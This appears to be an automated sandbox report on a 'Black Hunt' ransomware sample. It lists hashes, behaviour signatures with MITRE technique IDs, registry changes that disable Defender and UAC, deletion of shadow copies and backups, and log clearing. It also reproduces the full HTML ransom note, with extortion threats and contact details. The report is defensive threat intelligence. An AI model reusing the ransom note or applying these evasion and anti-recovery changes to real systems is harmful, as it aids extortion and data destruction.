8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19-01-2024 00:04

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General

Target

8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
Size

707KB
MD5

eaceefd4eb93e1b1d0206312752a681d
SHA1

bf2e785ac4ffb2b12248d1da363ba1c85f42599e
SHA256

8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120
SHA512

6820973d94458d9df2c91c9673b98b5e8114723e8badeb462d0b54b68407484c0f15142b56d7c707de7477d664f1c536b03031a30a19c67d0de264a5ce417ce3
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1U8vvnh:6uaTmkZJ+naie5OTamgEoKxLWXnh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1Ii8+IDxwaG90b3Nob3A6VGV4dExheWVycz4gPHJkZjpCYWc+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iSHVudCAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJIdW50ICAiLz4gPHJkZjpsaSBwaG90b3Nob3A6TGF5ZXJOYW1lPSJCbGFjayAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJCbGFjayAgIi8+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iMi4wIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSIyLjAiLz4gPC9yZGY6QmFnPiA8L3Bob3Rvc2hvcDpUZXh0TGF5ZXJzPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PvFKMOAAAAS2SURBVGje7Vq/ixNBFM55vQRtLLe2itoEbPIHpEghB4LBdFaB9Gm2sNhCIU0qm1x/RSz0EEHWw8LikFRBQXERUWOVSrSQdVbeHO++vPd2ci4BuQx83LGz82Pnfe+9b2ZSy/O8tsUWBc7Xx54uLYdvDt8dFhWj6Pfzf4KvDq+F9fmnMnCIGaLaBgp9RIxjB5ChmG++xV88l8jQEBbWY0D1ql0A9dpmSl0aO4AMj7YkOMFDiQxxQMOZQIoWvJPVNldWxg5IE7sOr7YkOMEdiQxpYOMleD6G3OkGyYAEngaQ4YrDF94u293NF4Tif17XdFiw+qMLFzZusGRnJx8Tug4V9v2rcG6JDEshCqTC85w80pcJ1MVGSG+dQU/4dlKamuLYAWS46fA71Nh9t/i8flytMUrRhvErJsMHh0tIhkh4kRtjaZBhZtR5LYJRZ0Tg0QZLT+g7o+e+ZDg2fVhDmPOI2txbx9hjqO9vmAz7jpx8/Kja/p8yIX5SOkJUsMgQBYrHnhJZECmMV5ayIk08KkSYsP5H1mKj5x1BfZORqKjzGFK7JrXx2GeRhj9vU9jPICp5Yw+pf17v3/HtKyDDA4kMsWCcFpEkVTysTDw2AomAqWVW8m7PGLsuRIsJ+9gdhxeWsdHzND2hkUiLNF14jkb2SOj9A+gfUVGE2JPIkJ7BaGXiMRWEZ0fI8zk913Y0MRl+AilCIjASaQaa4bLDR/7OQvE8D153CF4uGUdLKwk81+DJc2yQYQ4i94z46XBDIkNoKEc9oInHhtC+YaSWSJlHbAjLacA2uA5kuEYKWhRnoYZCEnHjaCRBTy8iQ5EK0Oh8DGzTrlavvPUpnZMhUrwxViJGI0A8xoYGaQgRQwr7ZYdXWdn2V9hN3OXvDdckg08FSCIeMTKFJMeBkWTIDD6H8SsWp0/gJFcUjyks+sjwVs14qdGmp4wXl8yj7ORxhbQCGRJLPBaeOGZ7+rmSp4eKLsBtKieJtn09VLw/WuN8oyBpkYaaQl1EKaoA6IxEIkNsCESpPg4QjxYZNHKtQ4ZWABkmAhmeWeIR+9BSwYEiHoeB4pHvMDTv7waeb3AyoZaIICIdnybUnkSGVFHrPoVgOB4o4jE1yDAytERH6Y+fdDYgZcTKLmOp3VNQ+/easWGhzFSAJCq8rg/bRE6SREkFlvePDQLhPIc0NpLBj8ujHEWHHw7XJTJoJ49ZyVF0bGz7UkWA5oZ4lIiSMV0yNcTjiD4Io86AkeEqLYLoeQew2OjlCfPMo5JtH6YVLRX0DYOPBT1T9COdQPq5Yp0ft8nmTHOaO1xEMkRrio5eiXfGa14RL9e8H+kEnDyKF1eu3JK8RjK2lQpCycC9VEsF1ummJm4xQnjdM6eIE9HcI/YN+3R4xeb0WPgpwIp41DANuK3kZKgrh0cTMHgqCMOZQZxO2bW1QJQO+91DkLEl9W8dYftQzI3r04qVCrTTTW2OIakkoZTRpksthWz3JTJEZFQLZVfIIzJyDISpU4RI2cGR995WyaVVj/pN6W+Ppac6zhGEIn5TRM9fVrk1a1Kq6a6q9MovqroM2hy6bDfRFN4Bot1eIcM5+9nbG4dPW9TekX46v2TYwsYf/4cvUeVs4qUAAAAASUVORK5CYII= " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> IAwhlE0TbroBa8Ah </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3872	fsutil.exe
680	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3824	wevtutil.exe
2008	wevtutil.exe
3924	wevtutil.exe
2908	wevtutil.exe
2456	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2216	bcdedit.exe
1216	bcdedit.exe
4088	bcdedit.exe
3968	bcdedit.exe

Renames multiple (2914) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2604	wbadmin.exe
2860	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3828	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\X:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\G:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\K:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\O:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\A:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\J:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\Z:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\Q:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\R:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\Y:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\V:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\N:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\E:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\U:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\I:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\P:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\L:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\B:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\M:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\T:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened (read-only)	\??\S:	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-netbeans-modules-queries.xml	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Yellowknife	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#BlackHunt_ReadMe.txt	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files (x86)\MSBuild\#BlackHunt_ReadMe.hta	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\#BlackHunt_ReadMe.txt	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\about.html	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\#BlackHunt_Private.key	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files\VideoLAN\VLC\lua\modules\#BlackHunt_ReadMe.txt	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\#BlackHunt_Private.key	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_winxp_olv.css	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-api.jar	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-actions_ja.jar	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-nodes.jar	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-jvm.xml	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_Private.key	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\#BlackHunt_ReadMe.hta	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derby.jar	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\feature.properties	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\CST6CDT	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-ui.jar	8a6de728e7a12c269c2260ca31c684962ee64e5e6a6688b8fd2dab09b8462120.exe
